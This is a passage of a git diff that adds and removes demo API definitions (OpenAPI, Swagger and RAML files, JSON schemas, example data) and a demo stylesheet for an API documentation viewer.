+++ b/demo/apis/secured-unions/secured-unions.yaml
@@ -0,0 +1,87 @@
+openapi: 3.0.0
+
+info:
+ version: 1.0.0
+ title: OAS Multi combinations
+
+components:
+ securitySchemes:
+ BasicAuth:
+ type: http
+ scheme: basic
+ BearerAuth:
+ type: http
+ scheme: bearer
+ ApiKeyAuth:
+ type: apiKey
+ in: header
+ name: X-API-Key
+ ApiKeyQuery:
+ type: apiKey
+ in: query
+ name: key
+ OpenID:
+ type: openIdConnect
+ openIdConnectUrl: https://example.com/.well-known/openid-configuration
+ OAuth2:
+ type: oauth2
+ flows:
+ authorizationCode:
+ authorizationUrl: https://example.com/oauth/authorize
+ tokenUrl: https://example.com/oauth/token
+ scopes:
+ read: Grants read access
+ write: Grants write access
+ admin: Grants access to admin operations
+
+paths:
+ /single:
+ get:
+ security:
+ - ApiKeyQuery: []
+ responses:
+ default:
+ description: Unexpected error
+ /api-keys-union:
+ get:
+ security:
+ - ApiKeyQuery: []
+ ApiKeyAuth: []
+ responses:
+ default:
+ description: Unexpected error
+ /and-and-or-union:
+ get:
+ security:
+ - ApiKeyQuery: []
+ ApiKeyAuth: []
+ - BasicAuth: []
+ responses:
+ default:
+ description: Unexpected error
+ /cross-union:
+ get:
+ security:
+ - ApiKeyQuery: []
+ ApiKeyAuth: []
+ - BasicAuth: []
+ OAuth2: []
+ - BearerAuth: []
+ responses:
+ default:
+ description: Unexpected error
+ /multi-auth-header:
+ get:
+ security:
+ - BasicAuth: []
+ BearerAuth: []
+ responses:
+ default:
+ description: Unexpected error
+ post:
+ security:
+ - BearerAuth: []
+ BasicAuth: []
+ responses:
+ default:
+ description: Unexpected error
diff --git a/demo/apis/steveTest-1/exchange.json b/demo/apis/steveTest-1/exchange.json
new file mode 100755
index 0000000..c68d564
--- /dev/null
+++ b/demo/apis/steveTest-1/exchange.json
@@ -0,0 +1,6 @@
+{
+ "main": "stevetest.json",
+ "name": "steveTest",
+ "classifier": "oas",
+ "tags": []
+}
\ No newline at end of file
diff --git a/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json b/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json
new file mode 100755
index 0000000..3007c94
--- /dev/null
+++ b/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json
@@ -0,0 +1,43 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema",
+ "id": "http://example.com/example.json",
+ "type": "object",
+ "required": [
+ "logonID",
+ "site",
+ "siteRole",
+ "acceptedDate"
+ ],
+ "properties": {
+ "logonID": {
+ "id": "#/properties/logonID",
+ "type": "string",
+ "description": "OneAmerica user's application logonID.",
+ "example": "indybrad"
+ },
+ "site": {
+ "id": "#/properties/site",
+ "type": "string",
+ "description": "OneAmerica web application identifier within which user is accepting terms.",
+ "example": "ACCTSERV"
+ },
+ "siteRole": {
+ "id": "#/properties/siteRole",
+ "type": "string",
+ "description": "OneAmerica user's role within the web application.",
+ "example": "PARTCPNT"
+ },
+ "impersonationID": {
+ "id": "#/properties/impersonationID",
+ "type": "string",
+ "description": "OneAmerica user account that is accepting on behalf of the actual OneAmerica user.",
+ "example": "xyz123"
+ },
+ "acceptedDate": {
+ "id": "#/properties/acceptedDate",
+ "type": "string",
+ "description": "Datetime of acceptance of terms by the OneAmerica user.",
+ "example": "2018-01-01T12:00:00.000"
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json b/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json
new file mode 100755
index 0000000..1334ff6
--- /dev/null
+++ b/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json
@@ -0,0 +1,24 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema",
+ "id": "http://example.com/example.json",
+ "type": "object",
+ "default": {},
+ "additionalProperties": true,
+ "properties": {
+ "logonID": {
+ "id": "#/properties/logonID",
+ "type": "string",
+ "description": "OneAmerica user's application logonID."
+ },
+ "accepted": {
+ "id": "#/properties/accepted",
+ "type": "boolean",
+ "description": "True/False indicator on whether legal terms were accepted."
+ },
+ "acceptedDate": {
+ "id": "#/properties/acceptedDate",
+ "type": "string",
+ "description": "Date of acceptance of legal terms."
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/steveTest-1/stevetest.json b/demo/apis/steveTest-1/stevetest.json
new file mode 100755
index 0000000..c0a26a5
--- /dev/null
+++ b/demo/apis/steveTest-1/stevetest.json
@@ -0,0 +1,167 @@
+{
+ "swagger": "2.0",
+ "info": {
+ "title": "Legal System Service v1",
+ "description": "This is the suite of Participant Legal services.",
+ "version": "1.0.0",
+ "termsOfService": "http://www.oneamerica.com",
+ "contact": {
+ "email": "jedimaster@oneamerica.com"
+ },
+ "license": {
+ "name": "OneAmerica 1.0"
+ }
+ },
+ "host": "esb.oneamerica.com:61006",
+ "basePath": "/api",
+ "schemes": [
+ "https"
+ ],
+ "consumes": [
+ "application/json"
+ ],
+ "produces": [
+ "application/json"
+ ],
+ "tags": [
+ {
+ "name": "test",
+ "description": "test"
+ }
+ ],
+ "parameters": {
+ "trait:content-type-required:content-type": {
+ "required": true,
+ "type": "string",
+ "in": "header",
+ "name": "content-type"
+ }
+ },
+ "paths": {
+ "/legal/termsConditionsAcceptReset": {
+ "delete": {
+ "description": "Delete participants existing terms and conditions",
+ "responses": {
+ "200": {
+ "description": "This status code will be returned when request passes"
+ },
+ "400": {
+ "$ref": "traits/response-errors.json#/responses/400"
+ },
+ "404": {
+ "$ref": "traits/response-errors.json#/responses/404"
+ },
+ "405": {
+ "$ref": "traits/response-errors.json#/responses/405"
+ },
+ "406": {
+ "$ref": "traits/response-errors.json#/responses/406"
+ },
+ "415": {
+ "$ref": "traits/response-errors.json#/responses/406"
+ },
+ "500": {
+ "$ref": "traits/response-errors.json#/responses/500"
+ },
+ "501": {
+ "$ref": "traits/response-errors.json#/responses/501"
+ }
+ }
+ }
+ },
+ "/legal/termsConditionsAccept": {
+ "get": {
+ "description": "Retrieves a user's status on terms and conditions acceptance.",
+ "responses": {
+ "200": {
+ "description": "This status code will be returned when request passes.",
+ "schema": {
+ "$ref": "schemas_response/schema-termsConditionsAccept-Get.json"
+ },
+ "examples": {
+ "application/json": {
+ "logonID": "indybrad",
+ "accepted" : true,
+ "acceptedDate" : "2018-01-01T12:00:00.000"
+ }
+ }
+ },
+ "400": {
+ "$ref": "traits/response-errors.json#/responses/400"
+ },
+ "404": {
+ "$ref": "traits/response-errors.json#/responses/404"
+ },
+ "405": {
+ "$ref": "traits/response-errors.json#/responses/405"
+ },
+ "406": {
+ "$ref": "traits/response-errors.json#/responses/406"
+ },
+ "415": {
+ "$ref": "traits/response-errors.json#/responses/406"
+ },
+ "500": {
+ "$ref": "traits/response-errors.json#/responses/500"
+ },
+ "501": {
+ "$ref": "traits/response-errors.json#/responses/501"
+ }
+ },
+ "parameters": [
+ {
+ "required": true,
+ "type": "string",
+ "in": "header",
+ "name": "webLogonID"
+ },
+ {
+ "$ref": "#/parameters/trait:content-type-required:content-type"
+ }
+ ]
+ },
+ "post": {
+ "description": "Store participant's terms and conditions acceptance.",
+ "responses": {
+ "200": {
+ "description": "This status code will be returned when request passes."
+ },
+ "400": {
+ "$ref": "traits/response-errors.json#/responses/400"
+ },
+ "404": {
+ "$ref": "traits/response-errors.json#/responses/404"
+ },
+ "405": {
+ "$ref": "traits/response-errors.json#/responses/405"
+ },
+ "406": {
+ "$ref": "traits/response-errors.json#/responses/406"
+ },
+ "415": {
+ "$ref": "traits/response-errors.json#/responses/406"
+ },
+ "500": {
+ "$ref": "traits/response-errors.json#/responses/500"
+ },
+ "501": {
+ "$ref": "traits/response-errors.json#/responses/501"
+ }
+ },
+ "parameters": [
+ {
+ "$ref": "#/parameters/trait:content-type-required:content-type"
+ },
+ {
+ "in": "body",
+ "name": "body",
+ "schema": {
+ "$ref": "schemas/schema-termsConditionsAccept.json"
+ },
+ "required": true
+ }
+ ]
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/steveTest-1/traits/response-errors.json b/demo/apis/steveTest-1/traits/response-errors.json
new file mode 100755
index 0000000..79d2cc0
--- /dev/null
+++ b/demo/apis/steveTest-1/traits/response-errors.json
@@ -0,0 +1,123 @@
+{
+ "responses": {
+ "400": {
+ "description": "Status code and error message will be returned if validation fails.",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "400",
+ "message": "Bad request",
+ "detail": "Invalid request"
+ }
+ ]
+ }
+ }
+ },
+ "404": {
+ "description": "Resource not found for requested URI.",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "404",
+ "message": "Resource not found",
+ "detail": "Resource not found for requested URI"
+ }
+ ]
+ }
+ }
+ },
+ "405": {
+ "description": "Method not allowd for requested resource.",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "405",
+ "message": "Method not allowed",
+ "detail": "Method not allowed for requested resource"
+ }
+ ]
+ }
+ }
+ },
+ "406": {
+ "description": "Request headers are not acceptable.",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "406",
+ "message": "Not acceptable",
+ "detail": "Request accept headers are not acceptable"
+ }
+ ]
+ }
+ }
+ },
+ "415": {
+ "description": "Request format is not supported by the requested resource.",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "415",
+ "message": "Unsupported media type",
+ "detail": "Request format is not supported by the requested resource"
+ }
+ ]
+ }
+ }
+ },
+ "500": {
+ "description": "Status code and error message will be returned when the endpoint encounters an unexpected technical error",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "500",
+ "message": "Unexpected server error",
+ "detail": "Service encountered an unexpected error while processing the request"
+ }
+ ]
+ }
+ }
+ },
+ "501": {
+ "description": "Service method is not implemented.",
+ "schema": {
+ "$ref": "schema-response-errors.json#/properties/errorInfo"
+ },
+ "examples": {
+ "application/json": {
+ "errorInfo": [
+ {
+ "code": "501",
+ "message": "Not Implemented",
+ "detail": "Service method is not implemented"
+ }
+ ]
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/apis/steveTest-1/traits/schema-response-errors.json b/demo/apis/steveTest-1/traits/schema-response-errors.json
new file mode 100755
index 0000000..0eb8cb7
--- /dev/null
+++ b/demo/apis/steveTest-1/traits/schema-response-errors.json
@@ -0,0 +1,35 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema",
+ "id": "http://example.com/example.json",
+ "type": "object",
+ "additionalProperties": true,
+ "properties": {
+ "errorInfo": {
+ "id": "#/properties/errorInfo",
+ "type": "array",
+ "additionalItems": true,
+ "items": {
+ "id": "#/properties/errorInfo/items/",
+ "type": "object",
+ "additionalProperties": true,
+ "properties": {
+ "code": {
+ "id": "#/properties/errorInfo/items/anyOf/0/properties/code",
+ "type": "string",
+ "description": "Error code generated during processing."
+ },
+ "message": {
+ "id": "#/properties/errorInfo/items/anyOf/0/properties/message",
+ "type": "string",
+ "description": "High-level error message grouping of the generated error."
+ },
+ "detail": {
+ "id": "#/properties/errorInfo/items/anyOf/0/properties/detail",
+ "type": "string",
+ "description": "Detail error message of the generated error."
+ }
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/demo/type-fragment/type-fragment.raml b/demo/apis/type-fragment/type-fragment.raml
similarity index 100%
rename from demo/type-fragment/type-fragment.raml
rename to demo/apis/type-fragment/type-fragment.raml
diff --git a/demo/demo-api/demo-api.raml b/demo/demo-api/demo-api.raml
deleted file mode 100644
index 3dab08d..0000000
--- a/demo/demo-api/demo-api.raml
+++ /dev/null
@@ -1,463 +0,0 @@
-#%RAML 1.0
-title: API body demo
-version: v1
-baseUri: http://{instance}.domain.com/
-
-mediaType: [application/json, application/xml]
-protocols: [HTTP, HTTPS]
-
-description: |
- This is a description of demo API.
-
- This is **markdown**.
-
-baseUriParameters:
- instance:
- description: |
- The execution environments. Can be one of:
- - development
- - staging
- - qa
- - production
- type: string
- enum: [development, staging, qa, production]
- pattern: (development|staging|qa|production)
- default: production
-annotationTypes:
- deprecated: string
- annotationTest: nil
- clearanceLevel:
- properties:
- level:
- enum: [ low, medium, high ]
- required: true
- signature:
- pattern: "\\d{3}-\\w{12}"
- required: true
-uses:
- ExampleType: resourceTypes/example-types.raml
- myLib: library.raml
-types:
- Image: !include resourceTypes/image.raml
- Resource: !include resourceTypes/resource.raml
- AppPerson: !include resourceTypes/app-person.raml
- Product: !include resourceTypes/product.raml
- ErrorResource:
- description: A response that is errored
- type: object
- properties:
- error:
- type: boolean
- required: true
- example: true
- default: true
- description: Indicate that the response is errored.
- message:
- type: string
- description: The error message associated with the error.
- required: true
- Feature:
- description: A feature to test enum values in the URI parameters.
- type: string
- enum:
- - A
- - B
- - C
-
-resourceTypes:
- ResourceNotFound:
- get:
- responses:
- 404:
- body:
- application/json:
- displayName: Not found response
- type: ErrorResource
- application/xml:
- displayName: Not found response
- type: !include schemas/error-response.xsd
- example: !include examples/e404.xml
- UnauthorizedResponse:
- get:
- responses:
- 404:
- body:
- application/json:
- displayName: Unauthorized response
- type: ErrorResource
- application/xml:
- displayName: Unauthorized response
- type: !include schemas/error-response.xsd
- example: !include examples/e401.xml
- RequestErrorResponse:
- get:
- responses:
- 400:
- description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data.
- body:
- application/json:
- displayName: Invalid request
- type: ErrorResource
- application/xml:
- displayName: Invalid request
- type: !include schemas/error-response.xsd
- example: !include examples/e400.xml
-traits:
- Paginated: !include traits/pagination.raml
- Adminable: !include traits/adminable.raml
-securitySchemes:
- oauth_2_0: !include securitySchemes/oauth_2_0.raml
- x-custom: !include securitySchemes/x-custom.raml
- basic: !include securitySchemes/basic.raml
- libOauth: myLib.oauthLib
-
-documentation:
- - title: Test doc
- content: Test content
-
-
-/test-parameters/{feature}:
- (deprecated): This endpoint is deprecated and will be removed.
- securedBy: [libOauth]
- uriParameters:
- feature:
- type: string
- enum:
- - A
- - B
- - C
- get:
- (deprecated): This method is deprecated and will be removed.
- (clearanceLevel):
- level: high
- signature: 230-ghtwvfrs1itr
- description: To test enum values in the URI parameters for inline type declaration.
- queryParameters:
- testRepeatable:
- (deprecated): Test parameter will be removed in next version of the API.
- required: true
- type: string[]
- example: [value1, value2]
- numericRepeatable:
- required: true
- type: integer[]
- examples:
- Some-test-example: [123, 456]
- Other-example: [1011, 1213]
- notRequiredRepeatable:
- (annotationTest):
- type: array
- items: date-only
- required: false
- /{typeFeature}:
- (annotationTest):
- (deprecated): This method will be removed in future release of the API.
- uriParameters:
- typeFeature:
- (annotationTest):
- type: Feature
- get:
- (deprecated): This endpoint is deprecated and will be removed.
- description: To test enum values in the URI parameters for global type declaration.
-/people:
- displayName: People
- get:
- (annotationTest):
- displayName: List people
- description: Use this method to list all the people.
- is: [Paginated: {resourceType: AppPerson}]
- headers:
- x-people-op-id:
- (annotationTest):
- type: string
- pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
- description: People ops ID. It is UUID v4 string
- example: 9719fa6f-c666-48e0-a191-290890760b30
- post:
- (deprecated): |
- This method is not deprecated. And this is only an annotation test.
- displayName: Create a person
- description: Use this method to add new person
- body:
- application/json:
- (deprecated): This response type is deprecated and soon will be replaced.
- type: AppPerson
- application/xml:
- type: !include schemas/person.xsd
- example: !include examples/person.xml
- put:
- displayName: Update a person
- description: Updates the person in the datastore.
- body:
- application/json:
- schema: !include schemas/person.json
- example: !include examples/person.json
- application/xml:
- type: !include schemas/person.xsd
- example: !include examples/person.xml
- responses:
- 200:
- (deprecated): This response type is deprecated and soon will be replaced.
- description: |
- Success response for the body
- headers:
- X-Frame-Options:
- type: string
- examples:
- Deny: DENY
- SameOrigin: SAMEORIGIN
- body:
- application/json:
- schema: !include schemas/person.json
- example: !include examples/person.json
- application/xml:
- type: !include schemas/person.xsd
- example: !include examples/person.xml
- /{personId}:
- securedBy: x-custom
- type: ResourceNotFound
- displayName: A person
- description: The endpoint to access information about the person
- uriParameters:
- personId:
- type: integer
- required: true
- description: The ID of the person in the system. It is generated by the database numeric value for the person.
- example: 1234
- get:
- displayName: Get a person
- description: Returns a person
- headers:
- x-client-id:
- (deprecated): This will be replaced
- example: 123456-acme.client.com
- description: The application id used to make a request. It can be obtained in the developer console.
- type: string
- required: true
- x-people-op-id:
- (annotationTest):
- type: string
- pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
- description: People ops ID. It is UUID v4 string
- example: 9719fa6f-c666-48e0-a191-290890760b30
- responses:
- 200:
- body:
- application/json:
- type: AppPerson
- application/xml:
- type: !include schemas/person.xsd
- example: !include examples/person.xml
- delete:
- displayName: Remove a person
- description: Removes the person from the datastore. This method do not returns any data in 200 response.
- responses:
- 204:
- headers:
- x-people-op-id:
- (annotationTest):
- type: string
- pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
- description: People ops ID. It is UUID v4 string
- example: 9719fa6f-c666-48e0-a191-290890760b30
- put:
- displayName: Update a person
- description: Updates the person in the datastore.
- queryParameters:
- testPatam: string
- body:
- application/json:
- type: AppPerson
- application/xml:
- type: !include schemas/person.xsd
- example: !include examples/person.xml
- responses:
- 200:
- headers:
- x-people-op-id:
- (annotationTest):
- type: string
- pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
- description: People ops ID. It is UUID v4 string
- example: 9719fa6f-c666-48e0-a191-290890760b30
-/products:
- displayName: Products
- description: The API is to be used to access data about the products.
- post:
- displayName: Create product
- description: |
- Creates a product in the store.
- While creating a product the `id` and `etag` properties will be ignored.
-
- The endpoint will reject the request if exactly the same product is already defined in the
- datastore (all properties of both objects equals). Newly created product is available
- for listing but **it won't be available for ordering API** until it's availability is not set.
- body:
- application/json:
- type: Product
- application/xml:
- type: !include schemas/product.xsd
- example: !include examples/product.xml
- responses:
- 200:
- body:
- application/json:
- type: Product
- examples:
- Product:
- id: d697f5cea85011e680f576304dec7eb7
- name: Super product
- quantity: 125
- unit: ml
- upc: "123456789101"
- available: true
- etag: "W/\"686897696a7c876b7e\""
- OtherProduct:
- id: 123e4567e89b12d3a456426655440000
- name: Acme Product
- quantity: 1
- unit: kg
- upc: "223456789101"
- available: true
- etag: "W/\"123456789\""
- application/xml:
- type: !include schemas/product.xsd
- example: !include examples/product.xml
- 400:
- description: The request has been rejected. Probably the product already exists in the datastore.
-/orgs:
- /{orgId}:
- get:
- displayName: Get organization
- description: Returns an organization info.
- responses:
- 200:
- body:
- application/json:
- type: ExampleType.Org
- properties:
- id:
- type: string
- description: UUID generated ID
- example:
- id: "12345"
- onCall:
- firstname: nico
- lastname: ark
- kind: AcmeAdmin
- clearanceLevel: low
- phone: "12321"
- Head:
- firstname: nico
- lastname: ark
- kind: AcmeManager
- reports:
- -
- firstname: nico
- lastname: ark
- kind: admin
- phone: "123-23"
- put:
- body:
- application/json:
- type: ExampleType.Org
- properties:
- id:
- type: string
- description: UUID generated ID
- responses:
- 200:
- body:
- application/json:
- type: ExampleType.Org
- /managers:
- get:
- responses:
- 200:
- body:
- application/json:
- type: ExampleType.Manager[]
-/messages:
- securedBy: [oauth_2_0]
- post:
- description: Create a new message
- is: [Adminable]
- body:
- application/json:
- type: object
- properties:
- receiver:
- type: string
- description: receiver of the message
- required: true
- body:
- type: string
- description: A message body
- required: true
- important:
- type: boolean
- description: If true then the message will be marked as important
- default: false
- required: true
- get:
- description: |
- List user messages. It returns an array of messages for last of 7 days if
- `since` property is not set.
- You can use `since` and `until` query parameters to control messages time
- span.
- queryParameters:
- until:
- (annotationTest):
- type: date-only
- description: Date right limit of the messages query.
- example: 2017-05-12
- since:
- type: date-only
- description: Date left limit of the messages query.
- example: 2017-05-10
- responses:
- 200:
- body:
- application/json:
- type: array
- items: !include resourceTypes/message-type.raml
- example: !include examples/messages-example.json
- /bulk:
- post:
- description: Bulk create messages.
- is: [Adminable]
- body:
- application/json:
- (annotationTest):
- type: array
- items: !include resourceTypes/message-sent-type.raml
- examples:
- Example1: !include examples/messages-sent-example.json
-/arrayBody:
- post:
- body:
- application/json:
- (deprecated): This response type is deprecated and soon will be replaced.
- description: |
- This demonstrates a body as an Array
- type: AppPerson[]
-/multipleTypeInheritance:
- get:
- description: |
- The response body inherits the following types:
-
- - AppPerson
- - AlertableAdmin
- responses:
- 200:
- body:
- application/json:
- type:
- - AppPerson
- - ExampleType.AlertableAdmin
-/typeFromLibraryEndpoint:
- post:
- body:
- type: myLib.TypeFromLibray
- responses:
- 200:
diff --git a/demo/demo.css b/demo/demo.css
new file mode 100644
index 0000000..940c994
--- /dev/null
+++ b/demo/demo.css
@@ -0,0 +1,162 @@
+body [role="main"].centered {
+ max-width: 1900px;
+}
+
+.api-demo-content {
+ display: flex;
+}
+
+.api-demo-content arc-interactive-demo {
+ flex: 1;
+}
+
+.api-demo-content api-navigation {
+ width: 360px;
+ margin-right: 24px;
+}
+
+.request-dialog {
+ width: 90%;
+}
+
+[slot="content"] {
+ flex: 1;
+ align-self: start;
+ margin: 20px;
+}
+
+body.demo.styled {
+ color: #000;
+ --error-color: red;
+ --primary-text-color: #000;
+ --primary-color: #e91e63;
+ --primary-background-color: #ffffff;
+ --dark-divider-opacity: 0.12;
+ --anypoint-button-emphasis-high-background-color: var(--accent-color);
+ --anypoint-dropdown-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.4);
+
+ --arc-font-body1-font-size: 1rem;
+
+ --code-font-family: 'Roboto Mono', 'Consolas', 'Menlo', monospace;
+
+ /* HTTP method colors */
+ --http-get-color: #008000;
+ --http-post-color: #2196F3;
+ --http-put-color: #FFA500;
+ --http-patch-color: #9C27B0;
+ --http-delete-color: #F44336;
+ --http-options-color: rgba(128, 128, 128, 0.74);
+ --http-head-color: rgba(128, 128, 128, 0.74);
+ --http-connect-color: rgba(128, 128, 128, 0.74);
+ --http-trace-color: rgba(128, 128, 128, 0.74);
+ --http-method-label-get-background-color: var(--http-get-color);
+ --http-method-label-get-color: #fff;
+ --http-method-label-post-background-color: var(--http-post-color);
+ --http-method-label-post-color: #fff;
+ --http-method-label-put-background-color: var(--http-put-color);
+ --http-method-label-put-color: #000;
+ --http-method-label-delete-background-color: var(--http-delete-color);
+ --http-method-label-delete-color: #fff;
+ --http-method-label-options-background-color: var(--http-options-color);
+ --http-method-label-options-background-color: var(--primary-text-color);
+ --http-method-label-head-background-color: var(--http-head-color);
+ --http-method-label-head-color: var(--primary-text-color);
+ --http-method-label-patch-background-color: var(--http-patch-color);
+ --http-method-label-patch-color: #fff;
+
+ --anypoint-tabs-selection-bar-color: var(--primary-color);
+}
+
+body.demo.styled.api.dark {
+ --primary-color: #ffcc80;
+ --primary-text-color: #fff;
+ --accent-color: #E040FB;
+ --secondary-text-color: rgba(255, 255, 255, 0.84);
+ --primary-background-color: #212121;
+ --secondary-background-color: #313131;
+ --error-color: #ff9090;
+ --error-message-color: var(--error-color);
+ --link-color: #8bc34a;
+ --input-background-color: var(--primary-background-color);
+ --active-background-color: #616161;
+
+ --anypoint-input-background-color: var(--input-background-color);
+ --anypoint-input-label-color: var(--primary-text-color);
+ --anypoint-input-input-color: var(--primary-text-color);
+ --anypoint-input-border-bottom-color: var(--primary-text-color);
+ --anypoint-input-focused-border-bottom-color: var(--primary-text-color);
+ --anypoint-input-label-background-color: rgb(66, 66, 66);
+ --anypoint-input-legacy-focus-background-color: #3a3b3c;
+ --anypoint-input-legacy-focus-border-color: #178bea;
+ --anypoint-input-info-message-color: var(--primary-text-color);
+
+ --anypoint-dropdown-menu-background-color: #494949;
+ --anypoint-dropdown-menu-label-background-color: var(--primary-background-color);
+ --anypoint-listbox-background-color: #494949;
+ --anypoint-dropdown-menu-focus-background-color: #9E9E9E;
+ --anypoint-dropdown-menu-label-color: #fff;
+ --anypoint-dropdown-menu-info-message-color: #fff;
+ --anypoint-item-hover-background-color: #9E9E9E;
+ --anypoint-item-focused-background-color: var(--primary-background-color);
+ --anypoint-icon-button-emphasis-low-color: #fff;
+
+ /* HTTP method colors */
+ --http-get-color: #c6f68d;
+ --http-post-color: #b39afd;
+ --http-put-color: #ffc77d;
+ --http-patch-color: #f186c0;
+ --http-delete-color: #FF5252;
+ --http-options-color: rgba(128, 128, 128, 0.74);
+ --http-head-color: rgba(128, 128, 128, 0.74);
+ --http-connect-color: rgba(128, 128, 128, 0.74);
+ --http-trace-color: rgba(128, 128, 128, 0.74);
+ --http-method-label-get-background-color: var(--http-get-color);
+ --http-method-label-get-color: #000;
+ --http-method-label-post-background-color: var(--http-post-color);
+ --http-method-label-post-color: #000;
+ --http-method-label-put-background-color: var(--http-put-color);
+ --http-method-label-put-color: #000;
+ --http-method-label-delete-background-color: var(--http-delete-color);
+ --http-method-label-delete-color: #000;
+ --http-method-label-options-background-color: var(--http-options-color);
+ --http-method-label-options-background-color: var(--primary-text-color);
+ --http-method-label-head-background-color: var(--http-head-color);
+ --http-method-label-head-color: var(--primary-text-color);
+ --http-method-label-patch-background-color: var(--http-patch-color);
+ --http-method-label-patch-color: #000;
+
+ --operation-params-title-color: var(--primary-text-color);
+ --operation-subheader-color: var(--secondary-text-color);
+ --operation-description-color: var(--secondary-text-color);
+
+ --resource-subheader-color: var(--secondary-text-color);
+ --security-subheader-color: var(--secondary-text-color);
+ --pill-color: #000;
+
+ --markdown-styles-code-text-shadow: none;
+ --markdown-styles-h6-color: var(--secondary-text-color);
+ --markdown-styles-table-row-background-color: var(--primary-background-color);
+ --markdown-styles-table-even-row-background-color: var(--secondary-background-color);
+
+ --code-color: var(--primary-text-color);
+ --code-background-color: #202020;
+ --code-punctuation-value-color: var(--code-color);
+
+ --api-annotation-document-color: var(--primary-text-color);
+ --api-annotation-background-color: var(--primary-background-color);
+ --api-body-document-description-color: var(--primary-text-color);
+
+ --api-endpoint-url-background-color: var(--primary-background-color);
+ --api-endpoint-url-color: var(--primary-text-color);
+
+ --http-code-snippet-code-text-shadow: var(--primary-text-color);
+ --http-code-snippet-container-background-color: var(--code-background-color);
+ --http-code-snippet-code-function-color: #82AAFF;
+ --http-code-snippet-code-keyword-color: #C792EA;
+ --http-code-snippet-code-cdata-color: #adb9c5;
+
+ --resource-tryit-background-color: var(--code-background-color);
+ --resource-tryit-panels-background-color: transparent;
+ --error-message-icon-color: #cccccc;
+ --error-message-code-color: var(--secondary-text-color);
+}
diff --git a/demo/exchange-experience-api/examples/API-instance.json b/demo/exchange-experience-api/examples/API-instance.json
deleted file mode 100644
index 062132d..0000000
--- a/demo/exchange-experience-api/examples/API-instance.json
+++ /dev/null
@@ -1,14 +0,0 @@
-{
- "id": "3defc266-c001-431c-88d2-7cc83928efca",
- "groupId": "com.mulesoft",
- "assetId": "salesforce",
- "productApiVersion": "v1",
- "environmentId": "1234",
- "name": "Instance name",
- "endpointUri": "https://www.yes.com/dog",
- "createdBy": "e1dd88f8-dG6e-4443-93a1-bd074603e118",
- "createdDate": "2017-09-22T19:26:00.815Z",
- "updatedDate": "2017-09-22T19:26:00.815Z",
- "isPublic": true,
- "type": "external"
-}
diff --git a/demo/exchange-experience-api/examples/asset-users.json b/demo/exchange-experience-api/examples/asset-users.json
deleted file mode 100644
index 8197602..0000000
--- a/demo/exchange-experience-api/examples/asset-users.json
+++ /dev/null
@@ -1,11 +0,0 @@
-[
- {
- "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97",
- "username": "fredy",
- "firstName": "Fred",
- "lastName": "Sanchez",
- "profilePhoto": "http://my-photos.com/fredy.jpg",
- "email": "fredy@wash.com",
- "role": "admin"
- }
-]
diff --git a/demo/exchange-experience-api/examples/asset.json b/demo/exchange-experience-api/examples/asset.json
deleted file mode 100644
index c447416..0000000
--- a/demo/exchange-experience-api/examples/asset.json
+++ /dev/null
@@ -1,157 +0,0 @@
-{
- "id": "org.mule.modules/Test-connector-1/1.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "1.0.0",
- "isPublic": false,
- "productAPIVersion": "v1",
- "description": "My connector test description",
- "name": "My Anypoint Connector",
- "type": "connector",
- "createdAt": "2017-01-25T19:36:45.654Z",
- "modifiedAt": "2017-01-25T19:36:45.654Z",
- "runtimeVersion": "v1",
- "assetLink": "http://www.racing.com.ar",
- "icon": "http://www.icon.com.ar",
- "status": "published",
- "rating": 3.5,
- "numberOfRates": 2,
- "versions": [
- {
- "id": "org.mule.modules/Test-connector-1/1.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "1.0.0",
- "muleVersionId": "3.7"
- },
- {
- "id": "org.mule.modules/Test-connector-1/2.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
